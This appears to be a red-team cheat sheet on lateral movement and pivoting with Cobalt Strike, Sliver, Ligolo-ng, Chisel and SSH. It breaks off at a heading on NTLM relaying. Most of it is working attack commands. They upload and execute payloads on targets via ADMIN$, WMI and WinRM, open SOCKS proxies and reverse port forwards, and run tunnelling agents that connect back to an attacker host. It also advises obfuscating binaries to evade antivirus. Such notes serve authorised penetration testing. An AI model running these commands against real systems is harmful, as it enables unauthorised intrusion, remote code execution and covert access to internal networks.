# Upload and execute via WMIbeacon> cd \\<target>\ADMIN$beacon> upload C:\Payloads\smb_x64.exebeacon> remote-exec wmi <target> C:\Windows\smb_x64.exebeacon> link <target> <pipe_name># WinRM executionbeacon> remote-exec winrm <target> whoami
Warning
CoInitializeSecurity: Beacon’s WMI BOF calls CoInitializeSecurity which can only be set once per process. If it was set in another user’s context, WMI will fail. Workaround: use execute-assembly SharpWMI.exe:
Turn a Beacon into a SOCKS proxy to tunnel external tools into the internal network.
CS
# SOCKS4abeacon> socks 1080# SOCKS5 with authbeacon> socks 1080 socks5 disableNoAuth <socks_user> <socks_password> enableLogging# Verify on team serverattacker@ubuntu ~> sudo ss -lpnt
Warning
The proxy binds on all interfaces — any device with network access to the team server can interact with it. SOCKS5 with auth provides additional protection.
Sliver
socks5 start# Then verify /etc/proxychains4.conf: socks5 127.0.0.1 1081
Redirect inbound traffic on a compromised host to the team server. Useful when the target can’t reach the team server directly.
CS
# Create firewall rule first (before binding)beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080# Start reverse port forwardbeacon> rportfwd 8080 127.0.0.1 80# Traffic hitting port 8080 on Beacon tunnels back to team server and is relayed to 127.0.0.1:80# Cleanupbeacon> powershell Remove-NetFirewallRule -DisplayName "8080-In"
Sliver
# Reverse port forward: remote 7999 -> local 7999rportfwd add -b 0.0.0.0:7999 -r 0.0.0.0:7999# Port forward: local 33890 -> remote 10.10.100.30:3389portfwd add -b 127.0.0.1:33890 -r 10.10.100.30:3389
Ligolo-ng (Sliver — Full Subnet Routing)
More powerful than SOCKS + proxychains — provides real subnet routing.
# On Kali — start proxysudo /path/ligolo-ng/proxy -selfcert -laddr <attacker_ip>:4444# Create interface and add routesinterface_create --name <name>interface_route_add --name <name> --route 10.10.100.0/24# Upload agent to target and connect backupload /path/agent.exe c:/windows/tasks/agent.exeexecute C:\\Windows\\tasks\\agent.exe -connect <attacker_ip>:4444 -ignore-cert -retry# Select tunnel and startsessiontunnel_start --tun <name>
Chisel (TCP Tunnelling)
Fast TCP tunnel over HTTP. Useful when SOCKS is too slow or when you need a direct tunnel to a specific port.
Setup
# On attacker (server mode — reverse tunnel)./chisel server --reverse --port 8080# On target (client — connects back to attacker)chisel.exe client <attacker_ip>:8080 R:socks# Creates a SOCKS5 proxy on attacker:1080# Specific port forwardchisel.exe client <attacker_ip>:8080 R:3389:<internal_target>:3389# attacker:3389 → internal_target:3389
Common Patterns
# SOCKS proxy through Chiselchisel.exe client <attacker>:8080 R:1080:socks# Then use proxychains on attacker: socks5 127.0.0.1 1080# Forward multiple portschisel.exe client <attacker>:8080 R:445:<target>:445 R:5985:<target>:5985# Forward RDPchisel.exe client <attacker>:8080 R:33389:<target>:3389# Connect: xfreerdp /v:127.0.0.1:33389# Chain through multiple hosts (multi-hop)# Hop 1: DMZ → attackerchisel.exe client <attacker>:8080 R:9001:socks# Hop 2: Internal → DMZchisel.exe client <dmz_host>:9001 R:9002:socks
Via CS/Sliver
# Upload and executebeacon> upload C:\Tools\chisel.exebeacon> run chisel.exe client <teamserver>:8080 R:socks# Sliverupload /path/chisel.exe C:\\Windows\\Tasks\\chisel.exeexecute -o C:\\Windows\\Tasks\\chisel.exe client <attacker>:8080 R:socks
OPSEC: Chisel traffic is HTTP/WebSocket — blends better than raw TCP tunnels. Use --fingerprint for TLS verification. The binary is commonly flagged by AV — obfuscate or use Go build flags to reduce signatures.
SSH Tunnelling
When SSH access is available (Linux hosts, jump boxes).
# Local port forward: access internal service from attackerssh -L 8888:<internal_target>:80 user@<jumpbox># Browse http://127.0.0.1:8888 → hits internal_target:80# Dynamic SOCKS proxyssh -D 1080 user@<jumpbox># Configure proxychains: socks5 127.0.0.1 1080# Remote port forward: expose attacker port to internal networkssh -R 8080:127.0.0.1:80 user@<jumpbox># jumpbox:8080 → attacker:80 (useful for payload delivery)# Multi-hop SSHssh -J user@hop1,user@hop2 user@final_target# Background tunnel (no shell)ssh -f -N -D 1080 user@<jumpbox>
NTLM Relaying
Intercept or capture NTLM authentication and relay it to another service. Port 445 is always bound on Windows — use PortBender to redirect traffic.